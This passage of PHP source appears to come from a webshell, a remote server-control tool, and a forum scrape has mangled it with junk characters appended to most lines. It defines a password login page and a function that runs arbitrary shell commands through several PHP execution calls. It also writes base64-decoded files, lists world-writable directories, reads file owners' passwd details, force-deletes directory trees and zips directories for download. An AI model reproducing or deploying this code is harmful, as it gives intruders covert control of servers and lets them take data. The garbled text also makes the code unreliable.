  1327. 函数库  K5 i. W) x* }  w" j4 l' ]+ E# b- [
  1328. ======================================================*/) M" j7 j& \. d, z& B5 N9 B8 E* `' b8 K
  1329. . \, U( k7 Y. M0 q7 A0 k
  1330. function m($msg) {
    ! e3 z: M* |- S9 t- M
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    - F  o- U4 x8 L' z+ y
  1332.         echo $msg;" n$ `; O3 z# p5 K3 a" f; d
  1333.         echo '</div>';5 {7 b6 O: W- @! r
  1334. }0 n7 m$ E; G, G# B( n0 n" l8 L
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    8 ?, |. i* [( j& q
  1336.         global $admin, $timestamp, $_SERVER;( Y( @# a5 Y0 p8 C: {% ?/ B
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
    8 s# w. @# f- y5 q2 W1 c3 B* L
  1338.         $life = $life ? $life : $admin['cookielife'];( ]& {1 |: F% ?: z2 E; G: p
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    7 Z9 [) u9 V0 _4 ]% a. @* v
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);5 y# a& F% }5 r6 R4 P6 [
  1341. }        , ~) \) m" V- x* r+ h4 v" b
  1342. function multi($num, $perpage, $curpage, $tablename) {% u9 W6 s) b" V; g7 S- |9 U
  1343.         $multipage = '';! O: z6 l* O2 }/ e0 g4 ]3 h' W
  1344.         if($num > $perpage) {, u* N  X9 H5 E7 X$ Z" O
  1345.                 $page = 10;
    5 G- c# r5 n, z; @
  1346.                 $offset = 5;
    " g% ~* U5 L4 Q; S. A$ d
  1347.                 $pages = @ceil($num / $perpage);+ R! l* G- _; @$ g# x
  1348.                 if($page > $pages) {. n' q* [0 Q1 q# t' h0 F. l
  1349.                         $from = 1;0 _& y6 d, ^4 ^# H) b4 l
  1350.                         $to = $pages;# _% R' [7 U- Q
  1351.                 } else {  n3 G& u8 T" ]+ ]4 @
  1352.                         $from = $curpage - $offset;
    - e& v5 s# H+ x+ k7 A5 F
  1353.                         $to = $curpage + $page - $offset - 1;5 Z( G' W% W8 e. s& [) f- U7 S9 |
  1354.                         if($from < 1) {
    ; M8 G& f. r& A' I8 K
  1355.                                 $to = $curpage + 1 - $from;
    - z* r2 H* w2 ^, j3 N' B+ e
  1356.                                 $from = 1;
    " T$ q6 n- p3 @0 |" U3 Y
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {3 z8 B! c3 ?+ B3 q% K
  1358.                                         $to = $page;! q& |  p. G) E5 f+ \
  1359.                                 }
    + T1 b* `  k2 K7 E
  1360.                         } elseif($to > $pages) {& S) n; m8 f  G
  1361.                                 $from = $curpage - $pages + $to;
    ) B' B1 A0 ^- M; D" B% P
  1362.                                 $to = $pages;
    5 Q4 w5 ~0 s) n. w; u8 E# d8 k8 V
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {3 U5 Q9 j$ ^: l, x9 H, b' o
  1364.                                         $from = $pages - $page + 1;7 j! i8 r. p' t) z9 W( H
  1365.                                 }
    % R% n2 m! _' ~& Q6 H) Q
  1366.                         }4 e6 P- }" b' t
  1367.                 }
    " {. b$ L9 K5 S0 [/ W
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');, X6 R1 O( M1 V6 J- K2 {+ _7 e* z; u: |" F
  1369.                 for($i = $from; $i <= $to; $i++) {# t8 J2 b; Y4 E6 e. @" o
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';0 s/ B8 o# C1 i& @$ D9 G+ f
  1371.                 }
    3 Y+ y6 O& k" _
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');# X6 _+ F! x; j9 |4 M% R1 @- J) a) b
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';/ {) ]6 ~1 c7 E1 c6 \$ y# ^
  1374.         }
    % F: b& {2 F  B  U7 k
  1375.         return $multipage;
    3 o) \# h8 H: J! g- ?
  1376. }9 g9 b. {* k3 z+ [5 r, t5 F
  1377. // 登陆入口
    & i6 T0 U3 \+ \
  1378. function loginpage() {6 r& o% e( b3 H- |, t
  1379. ?>
    1 K) `! T( w1 v; Y
  1380.         <style type="text/css">
    % k- B" A- e2 L7 ^
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}. Z$ U: w2 `5 N* q; w
  1382.         </style>. R6 M$ `- j: t- Z8 T7 U
  1383.         <form method="POST" action="">
    6 [% \# B; r8 i7 a! U
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
    + ~3 [" H+ g- z1 a5 ?
  1385.         <input type="hidden" name="doing" value="login">
    & g0 _8 W- z( U  ?
  1386.         <input type="submit" value="Login">1 Q% C7 Z  h# L  T
  1387.         </form>) c% Y/ [7 |( l
  1388. <?php8 s3 ^% f: |% H$ Q( f( G
  1389.         exit;) C- D, B+ D5 |: {- H
  1390. }//end loginpage()2 _  R5 i' K  S7 N

  1391. $ P  S. O7 u( Y7 Z8 _3 _
  1392. function execute($cfe) {
    . Y9 w" W" @9 F
  1393.         $res = '';0 _/ J6 s" U, |& F& o* h& A1 c
  1394.         if ($cfe) {; r  j2 x& r9 m& ^! c1 _" x
  1395.                 if(function_exists('exec')) {- ~2 W7 b# `  m. S  x& j
  1396.                         @exec($cfe,$res);
    3 F1 |4 e# [  W
  1397.                         $res = join("\n",$res);% z! E1 F! G3 }8 w
  1398.                 } elseif(function_exists('shell_exec')) {
      y0 i9 w; e' v
  1399.                         $res = @shell_exec($cfe);
    . |5 s4 h. e% c: c& d
  1400.                 } elseif(function_exists('system')) {4 ^2 n% R" V) K/ `4 O) @" O
  1401.                         @ob_start();( B- b$ t8 s% b
  1402.                         @system($cfe);0 g' s; q  S0 g/ U
  1403.                         $res = @ob_get_contents();
    ' Z  ~& p3 N( N2 Z; \# ?" p
  1404.                         @ob_end_clean();; e1 d$ o) j4 `8 K* W% W$ a( u& m
  1405.                 } elseif(function_exists('passthru')) {" T/ S, F* E5 a- L2 Z: B
  1406.                         @ob_start();
    8 q% l8 h# h. s; _7 e
  1407.                         @passthru($cfe);! Y" b- r9 v# B* v1 _$ m
  1408.                         $res = @ob_get_contents();
    , R! u* d# w4 `% C. A
  1409.                         @ob_end_clean();
    9 s4 {( T0 V2 U6 P& B' j
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
    $ Q; f! q# ?# h. b8 x
  1411.                         $res = '';" u$ z" w+ s4 {6 @
  1412.                         while(!@feof($f)) {
    9 I$ L2 d! m, K  C
  1413.                                 $res .= @fread($f,1024);
    9 o1 D2 V* v/ X2 A" z2 @5 j( x
  1414.                         }
    & n# e4 R. u5 o
  1415.                         @pclose($f);
    $ ?* b) L& l: Z- `- r
  1416.                 }
    5 x, Z- c# _/ T$ d$ n
  1417.         }
    " w6 d/ r5 h# o- M& E, A
  1418.         return $res;
    4 ?( q* _6 g+ W- s$ |1 ~
  1419. }
    # u5 r8 x6 X& c4 {* r* r: h& p
  1420. function which($pr) {
    ; f' s- O$ g* [5 \$ \
  1421.         $path = execute("which $pr");& w3 \: b4 ?7 h3 O, X1 Y/ f
  1422.         return ($path ? $path : $pr);
    & l1 }  p' W) \# y' B
  1423. }1 x/ U4 \, E  Q- \
  1424. + x  P5 G. z2 \+ z5 x1 N
  1425. function cf($fname,$text){8 o$ T$ G0 U- q2 Q7 }! n. W& k3 N- E
  1426.         if($fp=@fopen($fname,'w')) {6 B" ~# e+ v6 c5 }( W  F' N0 i
  1427.                 @fputs($fp,@base64_decode($text));- k7 c3 ]; o. y" l# t: r
  1428.                 @fclose($fp);; S6 b$ L% X6 Z3 k
  1429.         }
    5 n( d' c) |* ?: W. v1 d
  1430. }5 j- U3 |4 U0 p
  1431. 8 _$ u6 p9 E; O' s! @8 |: c
  1432. // 页面调试信息  W* h1 }# i) ~! k+ r
  1433. function debuginfo() {( f; p0 S# l4 Q( R% m, ]/ M" N& C
  1434.         global $starttime;4 x2 b: Z  i5 t6 @5 A2 }8 e& s
  1435.         $mtime = explode(' ', microtime());
      u+ t7 V, I! k  V
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);( x6 T% \7 u. |' x2 V, D1 n+ R% F
  1437.         echo 'Processed in '.$totaltime.' second(s)';
    * b/ s9 W  i$ @: E# v7 z
  1438. }, E* M# Y/ b' w' u
  1439. + ?% d9 N/ z, L; ?# e5 `5 e
  1440. //连接数据库/ _2 C, c# ]& z0 F- n* ~
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {! `  B! [% _- {3 ?* R- l$ D
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
    5 h8 I" r) Z1 Z( f$ z  Y5 W
  1443.                 p('<h2>Can not connect to MySQL server</h2>');
    * u% j! ^, k4 H7 z# o; `# I
  1444.                 exit;
    0 L  w4 E9 _# S$ t9 {' _
  1445.         }5 b  ~: I) Z/ _+ s5 `. e8 Z6 H
  1446.         if($link && $dbname) {
    , H: h1 C7 A0 r/ e8 l7 X
  1447.                 if (!@mysql_select_db($dbname, $link)) {% Z) \( Z1 r5 \& M0 Y" |
  1448.                         p('<h2>Database selected has error</h2>');
    & _8 f$ G2 |$ E- v5 i
  1449.                         exit;- N/ N! t0 e2 t. K* B0 j
  1450.                 }  w: h% ~4 @; r7 Y( D9 \) \
  1451.         }
    # l; M3 @/ }8 N* G) P9 A8 W
  1452.         if($link && mysql_get_server_info() > '4.1') {
    ) S6 |! F4 j7 v& e8 W0 N
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
    % `; g) U8 Y4 K
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    : d4 x, B1 w" I# I* @3 s8 @( B
  1455.                 }4 J- Y4 j% s/ o( v
  1456.         }& d0 S4 U4 U" _
  1457.         return $link;2 B& G& w. L- |, u  `
  1458. }" e. ]5 f7 C( N9 o+ j: A
  1459. 4 s. P3 r8 B$ W4 [
  1460. // 去掉转义字符& u- v" I9 V& }; {. i" p: ^) L; z
  1461. function s_array(&$array) {
    1 X+ V! g* z3 g  |
  1462.         if (is_array($array)) {
    : {1 v: r- [' S! f) J! b
  1463.                 foreach ($array as $k => $v) {
    9 q) x0 b3 P, w6 K6 D* s
  1464.                         $array[$k] = s_array($v);
    0 F- @# f( ]% T
  1465.                 }
    " `( A# c# V: B% ]! ]/ X3 z& r# ^* Y
  1466.         } else if (is_string($array)) {
    - S) c8 ?" V3 ^# x
  1467.                 $array = stripslashes($array);
    2 {2 L) a' W( ?1 E
  1468.         }
    % j2 U9 B6 }6 \" O$ ]' Z
  1469.         return $array;! B/ b& \! o" j* ~8 u" i+ ?
  1470. }
    & ?# T  ]3 `4 i3 [/ }4 V) N7 f
  1471. % [/ X! X8 j- l2 i. j) _! X
  1472. // 清除HTML代码
      F/ p5 v; |% X8 v
  1473. function html_clean($content) {
    ! ?0 J) G/ S8 w/ E5 U
  1474.         $content = htmlspecialchars($content);3 I5 X4 d$ a$ a
  1475.         $content = str_replace("\n", "<br />", $content);# o  W1 X. ]5 p
  1476.         $content = str_replace("  ", "  ", $content);
      Z# N- r" G9 R2 j; n* B
  1477.         $content = str_replace("\t", "    ", $content);% _2 s$ R8 Q' Y4 n% Q# g$ o
  1478.         return $content;9 k9 y. h+ u. e  e) x
  1479. }
    5 I$ h7 P  B3 d( K8 I1 x- I
  1480. : F0 e# I' [0 x8 m" h/ }/ b1 X: L
  1481. // 获取权限, q8 I4 J& D: S' |2 b( X  ^) Q
  1482. function getChmod($filepath){
    0 |* z/ e( E9 i; L2 C+ n
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
    - k, X# f( @1 Z/ y& G+ y! a
  1484. }& S9 j3 l! D. ~% d7 }
  1485. + e+ t* ?2 l7 V! r) D
  1486. function getPerms($filepath) {
    * U% M4 P, Q9 R9 q
  1487.         $mode = @fileperms($filepath);* R* D4 Y  N; F4 I6 \
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}, c& L: M$ o6 e* @: a  |0 N
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    1 M- \9 w9 U( ^2 S( B
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}+ d+ G0 I3 J' X( c
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';} 3 {/ n; L# o; T' o8 t" h) w5 c
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}# e4 v9 F9 ~) I" I6 c
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    % F* A4 U) \7 f" D& t% }( d5 q* {
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
    . V+ r% N/ U0 I2 Q0 s% Y3 B
  1495.         else {$type = '?';}% M5 I+ ^( d  S  k& y5 s
  1496. 9 z" s3 L: m# F; y% A: r
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-'; . ~- i/ V& g, L, R
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
    " W& w2 J. B& _1 Z6 x
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-'; 1 e9 a& p# O0 _. b) [& N% O, W
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    9 [+ t; S- [+ H1 G, z% ]
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-'; ; i8 E8 m, `( k  Q0 M. z" \
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
    1 i: d- i3 X( y: {7 w3 {) ]. L  X
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
    # w9 D9 Z# p+ G* b# i
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-'; % N; x+ O6 E4 W" J" S* N8 k
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-'; - i& C5 S" s7 Y% u1 c

  1506. 0 c" b8 [3 S- \; n, O* o/ _: S1 _/ i- t
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    ( Q. z+ U9 {7 ], `7 g
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}0 o) u) {* L$ |2 e( c  l* N- B5 d
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
    0 E! `; U" U; c' u
  1510. $ V7 Y2 U" s" S. V/ u  o2 w
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    + m' Q" E; P$ @$ y! q, s
  1512. }$ h0 P2 l' y! Z9 o, ]! N8 v
  1513. # X1 ~" X+ d% d" v
  1514. function getUser($filepath)        {/ b6 Y6 W8 }2 v9 N  S; z
  1515.         if (function_exists('posix_getpwuid')) {
    / t6 ~* g' `7 H- L/ F0 x
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));
    - q8 `* _6 `% i) p
  1517.                 if ($array && is_array($array)) {# n4 I. F* r$ k) F, n+ O) ~# I
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'  u3 A* I# k3 ^4 Y/ y$ V& c4 o
  1519. Passwd: '.$array['passwd'].'+ r$ i& X. g% d( ]; A# m
  1520. Uid: '.$array['uid'].'+ l! ^8 e7 K  o$ o% S1 G# J6 `, f
  1521. gid: '.$array['gid'].'- k: w' H: ]0 P# o- F: y+ z! B) j
  1522. Gecos: '.$array['gecos'].'8 a4 e* O' J# _) Z/ A
  1523. Dir: '.$array['dir'].'& R# m8 `# i  D3 L- t& ^' S% T+ Y
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
    0 n1 j* ?5 w( C9 k5 ~1 s- G
  1525.                 }
    3 n" F9 m( ?" A1 r$ L, B; _* }9 p
  1526.         }
    8 w5 X+ e9 U/ A" q: V% z) b! @
  1527.         return '';' D7 ~2 j4 u' U$ m, q9 A; I
  1528. }
    % H$ @8 L0 L6 ~

  1529. + [" j( q, w1 R& R
  1530. // 删除目录
    7 B4 v  N3 \9 D9 ^
  1531. function deltree($deldir) {% T1 R/ W) p' i4 n1 e8 E
  1532.         $mydir=@dir($deldir);        ! P# ]# \8 g, D9 A3 f
  1533.         while($file=$mydir->read())        {                 : j+ _4 z; x+ O; P0 O
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { 8 w3 L; x  j3 Z
  1535.                         @chmod($deldir.'/'.$file,0777);
    4 b( A2 u  X- ~- W3 t& C$ u% P1 V" f" Q
  1536.                         deltree($deldir.'/'.$file);
    9 R) ?; ?) _& Q3 u% x! [1 z- M+ J
  1537.                 }
    ; P0 J8 j7 C) ^- `0 v% a/ F% ]
  1538.                 if (is_file($deldir.'/'.$file)) {
    % q8 g) ^: T; H# V6 d& m0 g
  1539.                         @chmod($deldir.'/'.$file,0777);
    - A* m" X$ C% H, O4 b* ]1 C
  1540.                         @unlink($deldir.'/'.$file);
    * M% e* v' ?5 }$ j+ ~; o7 O( A
  1541.                 }
    - q- C- Q1 y# u, c2 B, ~. i' ]
  1542.         } 6 T8 u) C' N0 T
  1543.         $mydir->close(); 2 r7 w9 }! E- q: B9 B4 |; b9 O
  1544.         @chmod($deldir,0777);
    ' q! x) c5 h/ y, {8 T8 C+ D8 H
  1545.         return @rmdir($deldir) ? 1 : 0;
    - X$ Z% @( `$ h/ j
  1546. }7 x! @5 y. o% ^6 i( T; s7 S8 h

  1547. % |8 N2 E  C+ j5 n( z$ [* \* \
  1548. // 表格行间的背景色替换, N  w% R+ Z# i3 J; G
  1549. function bg() {
    ' X# M- E1 E7 q6 C" K" h; H6 y5 F
  1550.         global $bgc;
    - v4 e. I9 e* l( i0 J6 L
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';. P; _+ v; s6 i6 A( V: X1 j' e" S. b
  1552. }  a# g$ t6 v# B7 _8 E! s
  1553. ; n" k  w; a2 F$ f
  1554. // 获取当前的文件系统路径
    4 ?7 E  M/ g! W' x- Z6 Z
  1555. function getPath($scriptpath, $nowpath) {
    ; G# R2 h" ^/ I" D( Z1 Q3 p
  1556.         if ($nowpath == '.') {- m$ C  [8 n& j. L
  1557.                 $nowpath = $scriptpath;3 k* J: N$ {% P" X2 n# S- n
  1558.         }& ?7 ~2 l* }, z% `. q6 ], T- H
  1559.         $nowpath = str_replace('\\', '/', $nowpath);2 l, Z0 n8 e& t6 O0 ~
  1560.         $nowpath = str_replace('//', '/', $nowpath);
    ; T5 l  P8 \) `0 I. _
  1561.         if (substr($nowpath, -1) != '/') {# J* X% t$ [2 j/ Q/ U$ Y5 D
  1562.                 $nowpath = $nowpath.'/';
    9 J% m0 M( N- S3 u3 z9 H
  1563.         }8 N& v$ m& c' s
  1564.         return $nowpath;4 x- Z- @) O  @* G$ e; k
  1565. }+ S+ W# b  r/ S! H
  1566. % C3 V! m) B& c# {. q: K# w
  1567. // 获取当前目录的上级目录
    4 T/ s  Z/ ~6 |/ e5 E, L9 M
  1568. function getUpPath($nowpath) {
    4 l1 {! C: m3 E. `: Q
  1569.         $pathdb = explode('/', $nowpath);( H) o1 `6 A2 H- g* {1 l7 `* c
  1570.         $num = count($pathdb);
    & d% ^& a' X! ]  `$ g5 v! a1 v
  1571.         if ($num > 2) {- W5 d1 {1 f3 k, b
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);: W6 Q& R' }2 E5 b
  1573.         }
    2 i. E- T" P$ Y. x  S2 e6 A1 C- K
  1574.         $uppath = implode('/', $pathdb).'/';
    5 |' A& H7 R  o! U4 h% n
  1575.         $uppath = str_replace('//', '/', $uppath);, d. o4 h' m# y/ Y+ b3 r
  1576.         return $uppath;
    + F" |- |3 j# \' u
  1577. }6 ]5 E# }! B4 C- u. z% ?& _* Z# W
  1578. ( Y6 D. u0 U# F6 f4 B* q
  1579. // 检查PHP配置参数
    6 V6 [% T1 S2 Z* L3 [+ \# ~
  1580. function getcfg($varname) {% }7 V  P5 M& o7 m% N" Z
  1581.         $result = get_cfg_var($varname);& n& W, Z% Y( |8 Q8 Y
  1582.         if ($result == 0) {9 E2 M* u0 M- |* ~% i
  1583.                 return 'No';5 ]: Q& T, k. E+ g5 B. d; D
  1584.         } elseif ($result == 1) {
    6 D2 W8 K4 Z) c5 I
  1585.                 return 'Yes';
      J& w+ ?: Y5 q) W8 o7 m6 L; ?" ~
  1586.         } else {
    6 V# j, f  Z+ v0 L& f8 J8 r
  1587.                 return $result;; ^4 ^% ?  g2 P' K: ^0 H
  1588.         }
    8 V5 q) i, d5 W+ h' e
  1589. }# e8 L$ T3 e4 U' l
  1590. & \% A1 I" V; J  P
  1591. // 检查函数情况, d% b- }; e3 |* f) f
  1592. function getfun($funName) {
    8 M  f/ }+ U: ], M6 z
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';1 N: a& i1 c9 I6 u! u4 \$ V) X
  1594. }
    , }% Q" d' J5 z+ O! B! W

  1595. ' ~3 _/ K6 J' M1 ?( o, Z5 S
  1596. function GetList($dir){, x. K, D6 d! N% y
  1597.         global $dirdata,$j,$nowpath;
    * U# f# {, u' m
  1598.         !$j && $j=1;
    % n& e4 f9 y2 {% L& \) n
  1599.         if ($dh = opendir($dir)) {
    4 ^( `8 i8 Q$ ?1 m" d" L6 y
  1600.                 while ($file = readdir($dh)) {& L, c6 n; s. D2 Q4 r
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);
    ; m9 m! k1 v% C* A( `8 ]
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){& ]- l4 C9 J8 ^1 m
  1603.                                 if (is_writable($f)) {
    . ^4 f3 w% t: Y2 z7 ?& h
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);& y+ B' F# l" M3 U
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));9 I! b+ R3 w+ H) ?
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);4 q' d; Z* {$ |8 ^" L
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
    * ]4 M# }4 Z0 f* ?( K8 R
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);* Y8 w+ w/ b( M7 G, P, s% S
  1609.                                         $dirdata[$j]['server_link']=$f;
    $ J% _2 m. i" e( ]
  1610.                                         $dirdata[$j]['client_link']=ue($f);
    ' i8 N, ]6 J: J
  1611.                                         $j++;
    , q' R7 K, c$ J" |2 Y
  1612.                                 }
    / O- L8 \- c1 t( c
  1613.                                 GetList($f);: {2 `  `: P" \4 g1 z" J
  1614.                         }
    5 K, O2 @7 C$ k+ B6 p# W: G
  1615.                 }9 v" N$ O7 g/ M9 r
  1616.                 closedir($dh);
    , b4 L0 X1 F$ u6 G( E9 \. o& C
  1617.                 clearstatcache();$ d8 u0 r# y2 |% z" S1 K% Y4 t. X
  1618.                 return $dirdata;
    ) Q3 i& b/ C3 I4 O
  1619.         } else {
    - d& a8 }) t% w
  1620.                 return array();1 f2 G6 c/ u; M8 }4 O; `
  1621.         }
    & q# T. X# {) R& H6 @3 e, Z! v) n
  1622. }# i1 E/ p; G# Q

  1623. 2 @# k, K5 H4 S
  1624. function qy($sql) { 2 Q/ k1 t; e! X7 v6 K
  1625.         //echo $sql.'<br>';/ `! m9 D; F1 B' n0 v
  1626.         $res = $error = '';/ R* \6 b; V7 M1 _
  1627.         if(!$res = @mysql_query($sql)) {
    3 W4 {/ B6 B. [! j' A  B$ O; J, @
  1628.                 return 0;
    ! U: B$ `4 T; G( f: ]% ~$ q7 ]4 R
  1629.         } else if(is_resource($res)) {5 ?  v1 S. U- A8 t, T5 ?. M: u
  1630.                 return 1; 8 i( s/ y$ u9 D. e" z: u
  1631.         } else {* K: Z7 f. F" _4 v! P, ~% E% |
  1632.                 return 2;$ m  p5 P5 h3 [# k, X. q
  1633.         }       
    2 w( r& {, e; ?5 y
  1634.         return 0;
    - g" }! i: l- |2 @; t2 {5 D
  1635. }
    % Y- x9 {0 s1 K" e; U& ]
  1636. 1 T# q$ v) G) y& j# d" J
  1637. function q($sql) { ' K. P- g4 L5 ~8 W
  1638.         return @mysql_query($sql);
    - c7 t" x* H1 F" e' s- b
  1639. }: R4 E& i, V! C5 F0 a1 r
  1640. 6 p5 \) Z* H+ r& m; W" e
  1641. function fr($qy){
    ) f& G4 t: n! J$ q3 |
  1642.         mysql_free_result($qy);
    0 |" b" p) Y  d* |: a) U
  1643. }2 a+ f2 [3 [$ d, h0 a

  1644. " s9 o. c9 R) \( j
  1645. function sizecount($size) {% W) I. |  h2 f
  1646.         if($size > 1073741824) {7 ?; Y9 @$ h. h0 K! w& H8 s
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
    4 C( D* L* R  l* j. q
  1648.         } elseif($size > 1048576) {
    1 Y% i2 U* j9 M3 ]# h9 B& u
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';: D7 v3 }' T6 U# C
  1650.         } elseif($size > 1024) {, ~4 c1 O  v/ I! a# ^' ?# Q
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
    ( E) S  J9 C, F6 h# ]
  1652.         } else {* L% u) r9 u5 `+ w# j& X, z0 Z. V
  1653.                 $size = $size . ' B';7 w  d1 Q2 W, h4 o1 S
  1654.         }* O) q" F) a6 J  a/ U* O% d% E) d
  1655.         return $size;: s* m0 @5 b8 x6 q# l
  1656. }) P1 I$ E" |' I' P+ T) z& F6 s9 z
  1657. 7 X0 T0 a& ]4 j$ _- Z2 U! \! m
  1658. // 压缩打包类' m% e* k) f( G- @$ [
  1659. class PHPZip{
    7 A; ~) ]% Z* X' B, t! q
  1660.         var $out='';$ i! N( L  a/ h  k4 `8 _
  1661.         function PHPZip($dir)        {' A* ]' r0 Q2 r4 ~+ u+ w, m
  1662.                 if (@function_exists('gzcompress'))        {
    " U% i. d" L) g" R5 F5 I5 W
  1663.                         $curdir = getcwd();
    1 Z8 p6 O0 k) ?! X
  1664.                         if (is_array($dir)) $filelist = $dir;+ c  v$ y9 d1 Y9 H- Q( O; z2 I5 T
  1665.                         else{: a) {% I% I" @. X  ~! b
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
    " }6 ^) P# h, J/ S7 s, C
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);9 {# @" V$ H5 I" I! ^3 r3 @/ \
  1668.                         }6 a" g, t! \: c5 c9 j. ]
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
    9 o$ [  X( F8 ^# _# f7 W3 @
  1670.                         else chdir($curdir);
      h" s6 h6 h6 n/ k) \
  1671.                         if (count($filelist)>0){( p* m0 R8 n: [4 u
  1672.                                 foreach($filelist as $filename){: Q( K+ f- f4 I( z5 A( F
  1673.                                         if (is_file($filename)){; y4 }& A* C- H
  1674.                                                 $fd = fopen ($filename, 'r');
    & V. J, n* B5 i* r7 |/ r
  1675.                                                 $content = @fread ($fd, filesize($filename));
    7 b+ n! ~( v; E' D# V- f' ?
  1676.                                                 fclose ($fd);/ k( c# T% @$ _' P9 E
  1677.                                                 if (is_array($dir)) $filename = basename($filename);
    ; D/ c! v1 x1 T0 b% u9 ]2 t
  1678.                                                 $this -> addFile($content, $filename);) O; x5 W3 o  z# v' V( R! G: a' ]
  1679.                                         }% C/ G" Y9 N4 Y( E; ]$ R/ n+ }, g9 k
  1680.                                 }( q. C1 E  a; Z2 C, Q+ l1 p; |
  1681.                                 $this->out = $this -> file();
    0 u# {+ W) S' p
  1682.                                 chdir($curdir);
    8 a, I! s. [1 i( G8 @
  1683.                         }$ S' |' F# a+ N. K
  1684.                         return 1;3 W4 i! P: q+ ^$ x
  1685.                 }
    ( d0 ~4 X# k& i# E& @
  1686.                 else return 0;- N. B2 k2 S" K8 J+ ?
  1687.         }
    : Q* A, I8 U, I7 \0 @
  1688.   \# r. N3 Z" ^% a5 Z# s
  1689.         // 获得指定目录文件列表+ Q- k5 z# b4 B) Q
  1690.         function GetFileList($dir){: A. s; X9 i2 m% E
  1691.                 static $a;
    6 j+ h. ]+ I; K/ M
  1692.                 if (is_dir($dir)) {! [4 R7 p4 J4 v" s
  1693.                         if ($dh = opendir($dir)) {7 g# Y5 n( e# w  n* N+ ^
  1694.                                 while ($file = readdir($dh)) {
    $ A. G  B; m, x3 L/ a
  1695.                                         if($file!='.' && $file!='..'){8 }2 a$ D8 O6 y( b- I. l$ b# h* ]
  1696.                                                 $f=$dir .'/'. $file;
    " J- Q$ a8 l: V" S' H0 C
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);! |+ h4 P* W. B7 x, r
  1698.                                                 $a[]=$f;# K* v9 o) s" K/ U+ M
  1699.                                         }3 U& n1 _6 A4 D
  1700.                                 }
    ' S1 z8 |0 ]# H* I  M* `
  1701.                                 closedir($dh);
    2 D9 Z5 t! j8 j0 F! z
  1702.                         }
    2 k* I- A) F6 [5 Z) j) v
  1703.                 }
    5 u5 `  \& A9 Q. H. {
  1704.                 return $a;
    ) i% _3 m2 c6 V
